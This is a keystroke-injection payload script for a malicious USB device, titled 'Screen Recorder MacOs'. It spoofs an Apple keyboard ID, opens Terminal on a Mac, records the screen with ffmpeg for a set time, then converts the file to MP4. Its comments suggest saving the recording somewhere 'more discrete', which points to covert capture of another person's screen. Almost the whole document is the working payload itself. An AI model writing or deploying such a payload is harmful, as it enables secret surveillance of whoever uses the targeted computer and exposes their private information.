46 lines
1.4 KiB
Plaintext
46 lines
1.4 KiB
Plaintext
REM Description: This script records the screen and saves the recording as a video file.
|
|
REM Must have ffmpeg installed.
|
|
REM Must have terminal recording privilege enabled
|
|
|
|
REM Script uses a screen recording command and the conversion of the recording to an MP4 file.
|
|
REM It includes a delay of 10 seconds after starting the recording to allow for the desired recording duration. Can adjust the delay for longer recordings line 31
|
|
|
|
REM After that, it sends the interrupt signal (Ctrl+C) to stop the recording.
|
|
REM Then it proceeds with the conversion of the recorded file from MKV to MP4 format using the ffmpeg command And stores it on the desktop
|
|
|
|
REM you can change the locations "Desktop" to store the file in a more discrete place.
|
|
|
|
REM Author: Narsty
|
|
REM Title: Screen Recorder MacOs
|
|
REM Target: MacOS
|
|
REM Version: 1.0
|
|
REM Category: Execution
|
|
|
|
|
|
ID 05ac:021e Apple:Keyboard
|
|
DELAY 1000
|
|
GUI SPACE
|
|
DELAY 500
|
|
STRING terminal
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
STRING ffmpeg -f avfoundation -r 30 -i "1" -c:v libx264 -preset ultrafast -tune zerolatency -crf 23 -pix_fmt yuv420p ~/Desktop/screen_recording.mkv
|
|
DELAY 250
|
|
ENTER
|
|
DELAY 10000 ; Delay for 10 seconds (adjust as needed)
|
|
CTRL C ; Send the interrupt signal to stop the recording
|
|
DELAY 500
|
|
STRING ffmpeg -i ~/Desktop/screen_recording.mkv -c:v libx264 -preset fast -crf 23 -pix_fmt yuv420p ~/Desktop/screen_recording.mp4
|
|
DELAY 250
|
|
ENTER
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|